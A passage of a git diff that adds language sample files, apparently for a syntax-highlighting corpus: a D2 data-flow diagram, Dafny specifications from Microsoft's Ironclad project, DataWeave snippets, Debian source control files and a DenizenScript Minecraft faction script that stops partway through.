+        "SELECT rate, currency FROM exchange_rates_override WHERE baseCurrency = ? AND sync != $DELETING"
+    }
+    out: "List<Rate>" {
+        Rate {
+            shape: class
+            rate: Double
+            currency: String
+        }
+    }
+    sql -> out
+}
+
+ratesFlow: RatesFlow {
+    deps: Dependencies {
+        ratesDao
+        ratesOverrideDao
+        baseCurrencyFlow
+    }
+    p: "Process: O(rates.override.count) time | O(1) space" {
+        1: "baseCurrency.flatMapLatest {}"
+        2: "combine(rateDao.findByBaseCurr(), ratesOverridedao.findByBaseCurr())"
+        3: "Override rate with the manual set ones"
+
+        1 -> 2 -> 3
+
+    }
+    out: "RatesData" {
+        shape: class
+        baseCurrency: String
+        rates: Map<CurrencyCode, Double>
+    }
+
+    deps.ratesDao -> p: Reacts
+    deps.ratesOverrideDao -> p: Reacts
+    deps.baseCurrencyFlow -> p: Reacts
+    p -> out
+}
+
+ratesDao -> ratesFlow.deps
+ratesOverrideDao -> ratesFlow.deps
+
+
+# ExchangeStatsFlow
+exFlow: ExchangeStatsFlow {
+    deps: Dependencies {
+        ratesFlow: "rates: RatesFlow"
+    }
+
+    in: Input {
+        shape: class
+        rawStats: RawStats
+        outputCurrency: String
+    }
+
+    p: "Process: O(curr.unique.count) space-time" {
+        incs_loop: "rawStats.incomes.forEach {}"
+        incs_exchange: "exchange to output currency"
+        incs_sum: "sum & count"
+
+        incs_loop -> incs_exchange -> incs_sum
+
+        exps_loop: "rawStats.expenses.forEach {}"
+        exps_exchange: "exchange to output currency"
+        exps_sum: "sum & count"
+
+        exps_loop -> exps_exchange -> exps_sum
+    }
+
+    out: Stats {
+        shape: class
+        income: Value
+        expense: Value
+        incomesCount: Int
+        expensesCount: Int
+    }
+
+    deps.ratesFlow -> p: Reacts to rates changes
+    in.rawStats -> p
+    p.incs_sum -> out
+    p.exps_sum -> out
+}
+
+ratesFlow.out -> exFlow.deps.ratesFlow: Reacts
+rawStatsFlow.out -> exFlow.in.rawStats
diff --git a/samples/Dafny/Io.s.dfy b/samples/Dafny/Io.s.dfy
new file mode 100644
index 0000000000..dd75a935fe
--- /dev/null
+++ b/samples/Dafny/Io.s.dfy
@@ -0,0 +1,411 @@
+// From: https://github.com/microsoft/Ironclad/blob/b2afa7e3eb65285fd3dba4ffa9dc10c6da593727/ironfleet/src/Dafny/Distributed/Common/Native/Io.s.dfy
+
+include "NativeTypes.s.dfy"
+include "../Framework/Environment.s.dfy"
+
+module Native__Io_s {
+import opened Native__NativeTypes_s
+import opened Environment_s
+
+class HostEnvironment
+{
+    ghost var constants:HostConstants;
+    ghost var ok:OkState;
+    ghost var now:NowState;
+    ghost var udp:UdpState;
+    ghost var files:FileSystemState;
+
+    predicate Valid()
+        reads this;
+    {
+           constants != null
+        && ok != null
+        && now != null
+        && udp != null
+        && files != null
+    }
+}
+
+//////////////////////////////////////////////////////////////////////////////
+// Per-host constants
+//////////////////////////////////////////////////////////////////////////////
+
+class HostConstants
+{
+    constructor{:axiom} () requires false;
+
+    function{:axiom} LocalAddress():seq<byte> reads this; // REVIEW: Do we need this anymore?  We now allow different UdpClients to have different addresses anyway.
+    function{:axiom} CommandLineArgs():seq<seq<uint16>> reads this; // result of C# System.Environment.GetCommandLineArgs(); argument 0 is name of executable
+
+    static method{:axiom} NumCommandLineArgs(ghost env:HostEnvironment) returns(n:uint32)
+        requires env != null && env.Valid();
+        ensures  int(n) == |env.constants.CommandLineArgs()|;
+
+    static method{:axiom} GetCommandLineArg(i:uint64, ghost env:HostEnvironment) returns(arg:array<uint16>)
+        requires env != null && env.Valid();
+        requires 0 <= int(i) < |env.constants.CommandLineArgs()|;
+        ensures  arg != null;
+        ensures  fresh(arg);
+        ensures  arg[..] == env.constants.CommandLineArgs()[i];
+}
+
+//////////////////////////////////////////////////////////////////////////////
+// Failure
+//////////////////////////////////////////////////////////////////////////////
+
+// not failed; IO operations only allowed when ok() == true
+class OkState
+{
+    constructor{:axiom} () requires false;
+    function{:axiom} ok():bool reads this;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+// Time
+//////////////////////////////////////////////////////////////////////////////
+
+// current local real time in milliseconds
+// (current actually means "current as of last waiting operation or call to GetTime")
+class NowState
+{
+    constructor{:axiom} () requires false;
+    function{:axiom} now():int reads this;
+}
+
+// maximum assumed time taken by any non-waiting code (in milliseconds)
+function{:axiom} realTimeBound():int
+predicate AdvanceTime(oldTime:int, newTime:int, delay:int) { oldTime <= newTime < oldTime + delay + realTimeBound() }
+
+class Time
+{
+    static method{:axiom} GetTime(ghost env:HostEnvironment) returns(t:uint64)
+        requires env != null && env.Valid();
+        modifies env.now; // To avoid contradiction, GetTime must advance time, because successive calls to GetTime can return different values
+        modifies env.udp;
+        ensures  int(t) == env.now.now();
+        ensures  AdvanceTime(old(env.now.now()), env.now.now(), 0);
+        ensures  env.udp.history() == old(env.udp.history()) + [LIoOpReadClock(int(t))];
+
+    // Used for performance debugging
+    static method{:axiom} GetDebugTimeTicks() returns(t:uint64)
+    static method{:axiom} RecordTiming(name:array<char>, time:uint64)
+}
+
+//////////////////////////////////////////////////////////////////////////////
+// Networking
+//////////////////////////////////////////////////////////////////////////////
+
+datatype EndPoint = EndPoint(addr:seq<byte>, port:uint16)
+    // UdpPacket_ctor has silly name to ferret out backwards calls
+type UdpPacket = LPacket<EndPoint, seq<byte>>
+type UdpEvent = LIoOp<EndPoint, seq<byte>>
+
+class UdpState
+{
+    constructor{:axiom} () requires false;
+    function{:axiom} history():seq<UdpEvent> reads this;
+}
+
+class IPEndPoint
+{
+    ghost var env:HostEnvironment;
+    function{:axiom} Address():seq<byte> reads this;
+    function{:axiom} Port():uint16 reads this;
+    function EP():EndPoint reads this; { EndPoint(Address(), Port()) }
+    constructor{:axiom} () requires false;
+
+    method{:axiom} GetAddress() returns(addr:array<byte>)
+        ensures  addr != null;
+        ensures  fresh(addr);
+        ensures  addr[..] == Address();
+        ensures  addr.Length == 4;      // Encoding current IPv4 assumption
+
+    function method{:axiom} GetPort():uint16 reads this;
+        ensures  GetPort() == Port();
+
+    static method{:axiom} Construct(ipAddress:array<byte>, port:uint16, ghost env:HostEnvironment) returns(ok:bool, ep:IPEndPoint)
+        requires env != null && env.Valid();
+        requires ipAddress != null;
+        modifies env.ok;
+        ensures  env.ok.ok() == ok;
+        ensures  ok ==> ep != null && fresh(ep) && ep.env == env && ep.Address() == ipAddress[..] && ep.Port() == port;
+}
+
+function MaxPacketSize() : int { 65507 }
+
+class UdpClient
+{
+    ghost var env:HostEnvironment;
+    function{:axiom} LocalEndPoint():EndPoint reads this;
+    function{:axiom} IsOpen():bool reads this;
+    constructor{:axiom} () requires false;
+
+    static method{:axiom} Construct(localEP:IPEndPoint, ghost env:HostEnvironment)
+        returns(ok:bool, udp:UdpClient)
+        requires env != null && env.Valid();
+        requires env.ok.ok();
+        requires localEP != null;
+        modifies env.ok;
+        ensures  env.ok.ok() == ok;
+        ensures  ok ==>
+                       udp != null
+                    && fresh(udp)
+                    && udp.env == env
+                    && udp.IsOpen()
+                    && udp.LocalEndPoint() == localEP.EP();
+
+    method{:axiom} Close() returns(ok:bool)
+        requires env != null && env.Valid();
+        requires env.ok.ok();
+        requires this.IsOpen();
+        modifies this;
+        modifies env.ok;
+        ensures  env == old(env);
+        ensures  env.ok.ok() == ok;
+
+    method{:axiom} Receive(timeLimit:int32) returns(ok:bool, timedOut:bool, remote:IPEndPoint, buffer:array<byte>)
+        requires env != null && env.Valid();
+        requires env.ok.ok();
+        requires IsOpen();
+        requires timeLimit >= 0;
+        requires int(timeLimit) * 1000 < 0x80000000; // only needed when the underlying implementation uses Socket.Poll instead of Task.Wait
+        modifies this;
+        modifies env.ok;
+        modifies env.now;
+        modifies env.udp;
+        ensures  env == old(env);
+        ensures  env.ok.ok() == ok;
+        ensures  AdvanceTime(old(env.now.now()), env.now.now(), int(timeLimit));
+        ensures  LocalEndPoint() == old(LocalEndPoint());
+        ensures  ok ==> IsOpen();
+        ensures  ok ==> timedOut  ==> env.udp.history() == old(env.udp.history()) + [LIoOpTimeoutReceive()];
+        ensures  ok ==> !timedOut ==>
+            remote != null
+            && buffer != null
+            && fresh(remote)
+            && fresh(buffer)
+            && env.udp.history() == old(env.udp.history()) +
+                [LIoOpReceive(LPacket(LocalEndPoint(), remote.EP(), buffer[..]))]
+            && buffer.Length < 0x1_0000_0000_0000_0000;
+
+    method{:axiom} Send(remote:IPEndPoint, buffer:array<byte>) returns(ok:bool)
+        requires env != null && env.Valid();
+        requires env.ok.ok();
+        requires IsOpen();
+        requires remote != null;
+        requires buffer != null;
+        requires buffer.Length <= MaxPacketSize();
+        modifies this;
+        modifies env.ok;
+        modifies env.udp;
+        ensures  env == old(env);
+        ensures  env.ok.ok() == ok;
+        ensures  LocalEndPoint() == old(LocalEndPoint());
+        ensures  ok ==> IsOpen();
+        ensures  ok ==> env.udp.history() == old(env.udp.history()) + [LIoOpSend(LPacket(remote.EP(), LocalEndPoint(), buffer[..]))];
+
+}
+
+// jonh temporarily neutered this because the opaque type can't be compiled
+class FileSystemState
+{
+}
+
+class MutableSet<T(==)>
+{
+    static function method {:axiom} SetOf(s:MutableSet<T>) : set<T>
+        reads s;
+
+    static method {:axiom} EmptySet() returns (s:MutableSet<T>)
+        ensures SetOf(s) == {};
+        ensures fresh(s); 
+
+    constructor{:axiom} () requires false;
+
+    method {:axiom} Size() returns (size:int) 
+        ensures size == |SetOf(this)|;
+
+    method {:axiom} SizeModest() returns (size:uint64) 
+        requires |SetOf(this)| < 0x1_0000_0000_0000_0000;
+        ensures int(size) == |SetOf(this)|;
+
+    method {:axiom} Contains(x:T) returns (contains:bool)
+        ensures contains == (x in SetOf(this));
+
+    method {:axiom} Add(x:T) 
+        modifies this;
+        ensures SetOf(this) == old(SetOf(this)) + {x};
+
+    method {:axiom} AddSet(s:MutableSet<T>) 
+        modifies this;
+        ensures SetOf(this) == old(SetOf(this)) + old(SetOf(s));
+
+    method {:axiom} TransferSet(s:MutableSet<T>) 
+        modifies this;
+        modifies s;
+        ensures SetOf(this) == old(SetOf(s));
+        ensures SetOf(s) == {};
+
+    method {:axiom} Remove(x:T) 
+        modifies this;
+        ensures SetOf(this) == old(SetOf(this)) - {x};
+
+    method {:axiom} RemoveAll()
+        modifies this;
+        ensures SetOf(this) == {};
+}
+
+class MutableMap<K(==),V>
+{
+    static function method {:axiom} MapOf(m:MutableMap<K,V>) : map<K,V> 
+        reads m;
+
+    static method {:axiom} EmptyMap() returns (m:MutableMap<K,V>)
+        ensures MapOf(m) == map [];
+        ensures fresh(m); 
+
+    static method {:axiom} FromMap(dafny_map:map<K,V>) returns (m:MutableMap<K,V>)
+        ensures MapOf(m) == dafny_map;
+        ensures fresh(m); 
+
+    constructor{:axiom} () requires false;
+
+    function method {:axiom} Size() : int
+        reads this;
+        ensures this.Size() == |MapOf(this)|;
+
+    method {:axiom} SizeModest() returns (size:uint64) 
+        requires |MapOf(this)| < 0x1_0000_0000_0000_0000;
+        ensures int(size) == |MapOf(this)|;
+
+    method {:axiom} Contains(key:K) returns (contains:bool)
+        ensures contains == (key in MapOf(this));
+
+    method {:axiom} TryGetValue(key:K) returns (contains:bool, val:V)
+        ensures contains == (key in MapOf(this));
+        ensures contains ==> val == MapOf(this)[key];
+
+    method {:axiom} Set(key:K, val:V) 
+        modifies this;
+        ensures MapOf(this) == old(MapOf(this))[key := val];
+
+    method {:axiom} Remove(key:K) 
+        modifies this;
+        ensures MapOf(this) == map k | k != key && k in old(MapOf(this)) :: old(MapOf(this))[k];
+}
+
+// Leverage .NET's ability to perform copies faster than one element at a time
+class Arrays
+{
+    static method{:axiom} CopySeqIntoArray<A>(src:seq<A>, srcIndex:uint64, dst:array<A>, dstIndex:uint64, len:uint64)
+        requires dst != null;
+        requires int(srcIndex) + int(len) <= |src|;
+        requires int(dstIndex) + int(len) <= dst.Length;
+        modifies dst;
+        ensures  forall i :: 0 <= i < dst.Length ==> dst[i] == (
+                    if int(dstIndex) <= i < int(dstIndex) + int(len)
+                    then src[i - int(dstIndex) + int(srcIndex)]
+                    else old(dst[..])[i]);
+        ensures  forall i :: int(srcIndex) <= i < int(srcIndex) + int(len) ==>
+                    src[i] == dst[i - int(srcIndex) + int(dstIndex)];
+}
+
+
+/*
+//////////////////////////////////////////////////////////////////////////////
+// File System
+//////////////////////////////////////////////////////////////////////////////
+
+type FileSystem
+
+datatype FileOp =
+  FileRead(fileReadOffset:int, fileReadBytes:seq<byte>)
+| FileWrite(fileWriteOffset:int, fileWriteBytes:seq<byte>)
+| FileFlush
+
+class FileSystemState
+{
+    constructor{:axiom} () requires false;
+    function{:axiom} state():FileSystem reads this;
+}
+
+function{:axiom} FileOpRequires(fs:FileSystem, fileName:string, op:FileOp):bool
+function{:axiom} FileOpEnsures(fsOld:FileSystem, fsNew:FileSystem, fileName:string, op:FileOp):bool
+
+class FileStream
+{
+    ghost var env:HostEnvironment;
+    function{:axiom} Name():string reads this;
+    function{:axiom} IsOpen():bool reads this;
+    constructor{:axiom} () requires false;
+
+    static method{:axiom} Open(name:array<char>, ghost env:HostEnvironment)
+        returns(ok:bool, f:FileStream)
+        requires env != null && env.Valid();
+        requires env.ok.ok();
+        requires name != null;
+        modifies env.ok;
+        ensures  env.ok.ok() == ok;
+        ensures  ok ==> f != null && fresh(f) && f.env == env && f.IsOpen() && f.Name() == name[..];
+
+    method{:axiom} Close() returns(ok:bool)
+        requires env != null && env.Valid();
+        requires env.ok.ok();
+        requires IsOpen();
+        modifies this;
+        modifies env.ok;
+        ensures  env == old(env);
+        ensures  env.ok.ok() == ok;
+
+    method{:axiom} Read(fileOffset:nat32, buffer:array<byte>, start:int32, end:int32) returns(ok:bool)
+        requires env != null && env.Valid();
+        requires env.ok.ok();
+        requires IsOpen();
+        requires buffer != null;
+        requires 0 <= int(start) <= int(end) <= buffer.Length;
+        requires FileOpRequires(env.files.state(), Name(), FileRead(int(fileOffset), buffer[start..end]));
+        modifies this;
+        modifies env.ok;
+        modifies env.files;
+        modifies buffer;
+        ensures  env == old(env);
+        ensures  env.ok.ok() == ok;
+        ensures  Name() == old(Name());
+        ensures  forall i:int :: 0 <= i < buffer.Length && !(int(start) <= i < int(end)) ==> buffer[i] == old(buffer[i]);
+        ensures  ok ==> IsOpen();
+        ensures  ok ==> FileOpEnsures(old(env.files.state()), env.files.state(), Name(), FileRead(int(fileOffset), buffer[start..end]));
+
+    method{:axiom} Write(fileOffset:nat32, buffer:array<byte>, start:int32, end:int32) returns(ok:bool)
+        requires env != null && env.Valid();
+        requires env.ok.ok();
+        requires IsOpen();
+        requires buffer != null;
+        requires 0 <= int(start) <= int(end) <= buffer.Length;
+        requires FileOpRequires(env.files.state(), Name(), FileWrite(int(fileOffset), buffer[start..end]));
+        modifies this;
+        modifies env.ok;
+        modifies env.files;
+        ensures  env == old(env);
+        ensures  env.ok.ok() == ok;
+        ensures  Name() == old(Name());
+        ensures  ok ==> IsOpen();
+        ensures  ok ==> FileOpEnsures(old(env.files.state()), env.files.state(), Name(), FileWrite(int(fileOffset), buffer[start..end]));
+
+    method{:axiom} Flush() returns(ok:bool)
+        requires env != null && env.Valid();
+        requires env.ok.ok();
+        requires IsOpen();
+        requires FileOpRequires(env.files.state(), Name(), FileFlush);
+        modifies this;
+        modifies env.ok;
+        modifies env.files;
+        ensures  env == old(env);
+        ensures  env.ok.ok() == ok;
+        ensures  Name() == old(Name());
+        ensures  ok ==> IsOpen();
+        ensures  ok ==> FileOpEnsures(old(env.files.state()), env.files.state(), Name(), FileFlush);
+}
+
+*/
+
+} 
\ No newline at end of file
diff --git a/samples/Dafny/Node.i.dfy b/samples/Dafny/Node.i.dfy
new file mode 100644
index 0000000000..3f55c30850
--- /dev/null
+++ b/samples/Dafny/Node.i.dfy
@@ -0,0 +1,116 @@
+// From: https://github.com/microsoft/Ironclad/blob/master/ironfleet/src/Dafny/Distributed/Protocol/Lock/Node.i.dfy
+
+include "../../Protocol/Lock/Node.i.dfy"
+include "Message.i.dfy"
+include "../Common/UdpClient.i.dfy"
+include "../../Common/Logic/Option.i.dfy"
+include "PacketParsing.i.dfy"
+include "../Common/SeqIsUniqueDef.i.dfy"
+
+module Impl_Node_i {
+import opened Protocol_Node_i
+import opened Message_i
+import opened Common__UdpClient_i
+import opened Logic__Option_i
+import opened PacketParsing_i 
+import opened Common__SeqIsUniqueDef_i
+
+datatype CNode = CNode(held:bool, epoch:uint64, my_index:uint64, config:Config)
+
+predicate ValidConfig(c:Config)
+{
+    0 < |c| < 0x1_0000_0000_0000_0000
+ && (forall e :: e in c ==> EndPointIsValidIPV4(e))
+ && SeqIsUnique(c)
+}
+
+predicate ValidConfigIndex(c:Config, index:uint64)
+{
+    0 <= int(index) < |c|
+}
+
+predicate CNodeValid(c:CNode)
+{
+       ValidConfig(c.config)
+    && ValidConfigIndex(c.config, c.my_index)
+}
+
+function AbstractifyCNode(n:CNode) : Node
+{
+    Node(n.held, int(n.epoch), int(n.my_index), n.config)
+}
+
+method NodeInitImpl(my_index:uint64, config:Config) returns (node:CNode)
+    requires 0 < |config| < 0x1_0000_0000_0000_0000;
+    requires 0 <= int(my_index) < |config|;
+    requires ValidConfig(config);
+    ensures CNodeValid(node);
+    ensures NodeInit(AbstractifyCNode(node), int(my_index), config);
+    ensures node.my_index == my_index;
+    ensures node.config == config;
+{
+    node := CNode(my_index == 0, if my_index == 0 then 1 else 0, my_index, config);
+    if node.held {
+        print "I start holding the lock\n";
+    }
+}
+
+method NodeGrantImpl(s:CNode) returns (s':CNode, packet:Option<CLockPacket>, ghost ios:seq<LockIo>)
+    requires CNodeValid(s);
+    ensures  NodeGrant(AbstractifyCNode(s), AbstractifyCNode(s'), ios);
+    ensures  s'.my_index == s.my_index && s'.config == s.config;
+    ensures  |ios| == 0 || |ios| == 1;
+    ensures  packet.Some? ==> |ios| == 1 && ios[0].LIoOpSend? 
+                           && ios[0].s == AbstractifyCLockPacket(packet.v);
+    ensures    OptionCLockPacketValid(packet) 
+            && (packet.Some? ==> packet.v.src == s.config[s.my_index]); 
+    ensures  packet.None? ==> ios == [] && s' == s;
+    ensures  CNodeValid(s');
+{
+    if s.held && s.epoch < 0xFFFF_FFFF_FFFF_FFFF {
+        s' := s[held := false];
+        var dst_index := (s.my_index + 1) % uint64(|s.config|);
+        packet := Some(LPacket(s.config[dst_index], s.config[s.my_index], CTransfer(s.epoch + 1)));
+        ios := [LIoOpSend(AbstractifyCLockPacket(packet.v))];
+        print "I grant the lock ", s.epoch, "\n";
+    } else {
+        s' := s;
+        ios := [];
+        packet := None();
+    }
+}
+
+method NodeAcceptImpl(s:CNode, transfer_packet:CLockPacket) 
+    returns (s':CNode, locked_packet:Option<CLockPacket>, ghost ios:seq<LockIo>)
+    requires CNodeValid(s);
+    ensures  NodeAccept(AbstractifyCNode(s), AbstractifyCNode(s'), ios);
+    ensures  s'.my_index == s.my_index && s'.config == s.config;
+    ensures  |ios| == 1 || |ios| == 2;
+    ensures  locked_packet.None? ==> |ios| == 1 && ios[0].LIoOpReceive? 
+                                  && ios[0].r == AbstractifyCLockPacket(transfer_packet);
+    ensures  locked_packet.Some? ==> |ios| == 2 
+                                  && ios == [LIoOpReceive(AbstractifyCLockPacket(transfer_packet)), 
+                                             LIoOpSend(AbstractifyCLockPacket(locked_packet.v))];
+    ensures    OptionCLockPacketValid(locked_packet) 
+            && (locked_packet.Some? ==> locked_packet.v.src == s.config[s.my_index]); 
+    ensures  CNodeValid(s');
+{
+    ios := [LIoOpReceive(AbstractifyCLockPacket(transfer_packet))];
+
+    if    !s.held 
+       && transfer_packet.src in s.config
+       && transfer_packet.msg.CTransfer? 
+       && transfer_packet.msg.transfer_epoch > s.epoch {
+        s' := s[held := true][epoch := transfer_packet.msg.transfer_epoch];
+        locked_packet := Some(LPacket(transfer_packet.src, 
+                                      s.config[s.my_index],
+                                      CLocked(transfer_packet.msg.transfer_epoch)));
+        ios := ios + [LIoOpSend(AbstractifyCLockPacket(locked_packet.v))];
+        print "I hold the lock!\n";
+    } else  {
+        s' := s;
+        locked_packet := None();
+    }
+}
+
+}
\ No newline at end of file
diff --git a/samples/DataWeave/customInterpolator.dwl b/samples/DataWeave/customInterpolator.dwl
new file mode 100644
index 0000000000..746e176c06
--- /dev/null
+++ b/samples/DataWeave/customInterpolator.dwl
@@ -0,0 +1,12 @@
+fun SQL(literals, parts) = ''
+---
+[
+  SQL `SELECT * FROM table WHERE id = $(1) AND name = $('a')`,
+  SQL `$('p')`,
+  SQL `$('a')$('b')`,
+  SQL `$('a')---$('b')`,
+  SQL `---$('a')---$('b')---`,
+  SQL `$('p')bbb`,
+  SQL `aaa$('p')`,
+  SQL `aaa$('p')bbb`
+]
\ No newline at end of file
diff --git a/samples/DataWeave/directives.dwl b/samples/DataWeave/directives.dwl
new file mode 100644
index 0000000000..a245637657
--- /dev/null
+++ b/samples/DataWeave/directives.dwl
@@ -0,0 +1,9 @@
+%dw 2.0
+var number = 1234
+fun foo(func,name="Mariano") = func(name)
+input payload application/test arg="value"
+output application/json
+---
+{
+  foo: "bar"
+}
\ No newline at end of file
diff --git a/samples/DataWeave/functions.dwl b/samples/DataWeave/functions.dwl
new file mode 100644
index 0000000000..8895733301
--- /dev/null
+++ b/samples/DataWeave/functions.dwl
@@ -0,0 +1,27 @@
+%dw 2.0
+var x=(param1, param2) -> { "$param1": param2 }
+var y=(param1, param2 = "c") -> { "$param1": param2 }
+var toUser = (user) -> { name: user.name,	lastName: user.lastName }
+fun z(param1, param2) = { "$param1": param2 }
+var a = { name: "Mariano" , toUser: ((param1, param2) -> { "$param1": param2 }) }
+var applyFirst =  (array, func) -> (func(array[0]) ++  array[1 to -1])
+
+var nested =  (array, func) -> (a) -> (b) -> (c) -> array map func(a ++ b ++ c)
+
+
+fun f2(a1, a2) = ""
+fun f3(a1:String, a2:Number):String = a1
+fun f4(a1:String, a2:(a:Number) -> Number):String = a1
+---
+result: {
+  a: x("a", "b"),
+  b: y("a"),
+  c: y("a", "b"),
+  users: { (in1 map ((user) -> { user: (toUser(user) ++ user) })) },
+  d: z("a", "b"),
+  e: a.toUser("name","Mariano"),
+  f: a.toUser("name","Mariano").name,
+  f: applyFirst("mariano", (s) -> upper(s) ),
+  g: [] map (s) -> upper(s),
+  h: 1 f2 2
+}
diff --git a/samples/DataWeave/literals.dwl b/samples/DataWeave/literals.dwl
new file mode 100644
index 0000000000..ac02dbd490
--- /dev/null
+++ b/samples/DataWeave/literals.dwl
@@ -0,0 +1,36 @@
+%dw 2.0
+---
+{
+  "boolean":{
+    "true" : true,
+    "false": false
+  },
+  "Number": {
+    "int": 123,
+    "decimal": 123.23
+  },
+  "string": {
+    "singleQuote" : 'A String',
+    "doubleQuote" : "A String"
+  },
+  "regex": /foo/,
+  "date": {
+    a: |2003-10-01|,
+    b: |2005-045|,
+    c: |2003-W14-3|,
+    d: |23:57:59|,
+    e: |23:57:30.700|,
+    f: |23:50:30Z|,
+    g: |+13:00|,
+    h: |Z|,
+    i: |-02:00|,
+    j: |2005-06-02T15:10:16|,
+    k: |2005-06-02T15:10:16Z|,
+    l: |2005-06-02T15:10:16+03:00|,
+    m: |P12Y7M11D|,
+    n: |P12Y5M|,
+    o: |P45DT9H20M8S|,
+    p: |PT9H20M8S|
+  }
+}
+
diff --git a/samples/DataWeave/match.dwl b/samples/DataWeave/match.dwl
new file mode 100644
index 0000000000..a831f6a8f6
--- /dev/null
+++ b/samples/DataWeave/match.dwl
@@ -0,0 +1,33 @@
+{
+  // Regex Pattern Matching (Can be named or unnamed)
+  a: in0.phones map $ match {
+    case matches /\+(\d+)\s\((\d+)\)\s(\d+\-\d+)/ -> { country: $[0], area: $[1], number: $[2] }
+    case matches /\((\d+)\)\s(\d+\-\d+)/ -> { area: $[1], number: $[2] }
+    case phone matches /\((\d+)\)\s(\d+\-\d+)/ -> { area: phone[1], number: phone[2] }
+  },
+  // Type Pattern Matching (Can be named or unnamed)
+  b: in0.object match {
+    case is Object -> { object: $ }
+    case is Number -> { number: $ }
+    // This is how you name variables if needed
+    case y is Boolean -> { boolean: y }
+  },
+  // Literal Pattern Matching (Can be named or unnamed)
+  c: in0.value match {
+    case "Emiliano" -> { string: $ }
+    case 123 -> { number: $ }
+    // This is how you name variables if needed
+    case value: "Mariano" -> { name: value }
+  },
+  // Boolean Expression Pattern Matching (Always named)
+  d: in0.value match {
+    case x if x > 30 -> { biggerThan30: x }
+    case x if x == 9 -> { nine: x }
+  },
+  // Default matches
+  e: in0.value match {
+    case "Emiliano" -> "string"
+    case 3.14 -> number
+    else -> "1234"
+  }
+}
\ No newline at end of file
diff --git a/samples/Debian Package Control File/example1.dsc b/samples/Debian Package Control File/example1.dsc
new file mode 100644
index 0000000000..904fea657a
--- /dev/null
+++ b/samples/Debian Package Control File/example1.dsc	
@@ -0,0 +1,17 @@
+Format: 1.0
+Source: libdependable
+Binary: libdependable, libdependable-dev
+Architecture: any
+Version: 1:2.3-4
+Maintainer: Test Maintainer <test.maintainer@example.com>
+Standards-Version: 3.9.2
+Build-Depends: debhelper (>= 9)
+Package-List:
+ libdependable deb misc optional arch=any
+ libdependable-dev deb misc optional arch=any
+Checksums-Sha1:
+ 5345aec6bad1d7e03f3afaae5cd6d00bc7df5cfe 786 libdependable_2.3-4.tar.gz
+Checksums-Sha256:
+ 8b770fde1df196e6b0b222f42f5e698ca1fd220a8cc1274ce8b9b63bdada9137 786 libdependable_2.3-4.tar.gz
+Files:
+ 320a8fe6cf08e6d6bd030182e47effa5 786 libdependable_2.3-4.tar.gz
\ No newline at end of file
diff --git a/samples/Debian Package Control File/example2.dsc b/samples/Debian Package Control File/example2.dsc
new file mode 100644
index 0000000000..8aca15e56c
--- /dev/null
+++ b/samples/Debian Package Control File/example2.dsc	
@@ -0,0 +1,23 @@
+Source: e2fsprogs
+Section: admin
+Priority: required
+Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com>
+XSBC-Original-Maintainer: Theodore Y. Ts'o <tytso@mit.edu>
+Build-Depends: texi2html (>= 1.76), gettext:any, texinfo, pkg-config, gcc-multilib [mips mipsel], debhelper (>= 7.0), libblkid-dev (>= 2.16), uuid-dev (>= 2.16), m4
+Standards-Version: 3.9.2
+Homepage: http://e2fsprogs.sourceforge.net
+
+Package: e2fsprogs
+Essential: yes
+Pre-Depends: ${shlibs:Depends}, ${misc:Depends}, util-linux (>= 2.15~rc1-1)
+Suggests: gpart, parted, e2fsck-static
+Conflicts: dump (<< 0.4b4-4), quota (<< 1.55-8.1), initscripts (<< 2.85-4), sysvinit (<< 2.85-4)
+Replaces: hurd (<= 20040301-1), libblkid1 (<< 1.38+1.39-WIP-2005.12.10-2), libuuid1 (<< 1.38+1.39-WIP-2005.12.10-2)
+Architecture: any
+Description: ext2/ext3/ext4 file system utilities
+ The ext2, ext3 and ext4 file systems are successors of the original ext
+ ("extended") file system. They are the main file system types used for
+ hard disks on Debian and other Linux systems.
+ .
+ This package contains programs for creating, checking, and maintaining
+ ext2/3/4-based file systems.
\ No newline at end of file
diff --git a/samples/DenizenScript/sample1.dsc b/samples/DenizenScript/sample1.dsc
new file mode 100644
index 0000000000..c0d23acd8c
--- /dev/null
+++ b/samples/DenizenScript/sample1.dsc
@@ -0,0 +1,83 @@
+# Main faction task.
+faction:
+    type: task
+    script:
+        - narrate Claim! format:faction_action_format
+    edit:
+        - narrate Edit! format:faction_action_format
+    invite:
+        - narrate Invite! format:faction_action_format
+    settings:
+        - narrate Settings! format:faction_action_format
+    transfer_ownership:
+        - if !<player.has_flag[waiting_for_owner_transfer_request_acceptance]>:
+            - inventory open d:faction_action_danger_zone_transfer_ownership_player_list_inventory
+        - else:
+            - narrate "You are still waiting for <player.flag[waiting_for_owner_transfer_request_acceptance].name> to accept the ownership!" format:faction_action_format
+    create:
+        - if !<server.has_flag[factions]>:
+            - flag server factions:<map[]>
+            - flag server "factions.all claims:<list[]>"
+
+        - flag server FACTION_IDS:++
+
+        - define FACTION_UUID faction_<server.flag[FACTION_IDS]>
+
+        - flag player FACTION:<[FACTION_UUID]>
+
+        - definemap default_faction_data:
+            owner: <player.uuid>
+            members: <list[<player.uuid>]>
+            name: <player.name>'s Faction
+            settings:
+                permissions:
+                    # This is just place holder stuff ;0
+                    - OwnersGetAllPerms
+                    - MembersGetBasicPerms
+                    - OutsidersDoNotGetPerms
+                color: <white>
+            display name: <white><player.name>'s Faction
+            rivalries: <list[]>
+            allies: <list[]>
+            power: 100
+            claims: <list[<player.location.chunk.cuboid>]>
+
+        - note <player.location.chunk.cuboid> as:faction_cuboid_<[FACTION_UUID]>
+        - flag server "factions.all claims:->:<player.location.chunk.cuboid>"
+        - flag server factions.<[FACTION_UUID]>:<[default_faction_data]>
+
+        - narrate "<green>Faction created! Check it out by using '/faction'!" format:faction_action_format
+    delete:
+        - define FACTION_UUID <player.flag[FACTION]>
+
+        - define members <[FACTION_UUID].proc[get_members]>
+        - foreach <[members]> as:m:
+            - flag <player[<[m]>]> faction:!
+
+        - foreach <proc[get_all_claims]> as:cl:
+            - flag server "factions.all claims:<-:<[cl]>"
+
+        - flag server factions:<-:<[FACTION_UUID]>
+
+        - narrate "<&[success]>Successfully deleted the faction!" format:faction_action_format
+    leave:
+        - define faction <player.flag[faction]>
+        - if <player.uuid> == <[faction].proc[get_owner]>:
+            - narrate "Sorry, but you are going to have to tranfer ownership of your faction before you can leave it. You can do so in the <red>Danger Zone<reset> section of the Faction Action Inventory. (<bold>/f<reset>)" format:faction_action_format
+            - stop
+        - if <[faction].proc[get_members]> == <list[<player.uuid>]>:
+            - narrate "You have successfully left the faction." format:faction_action_format
+            - inject faction.delete
+    wipe:
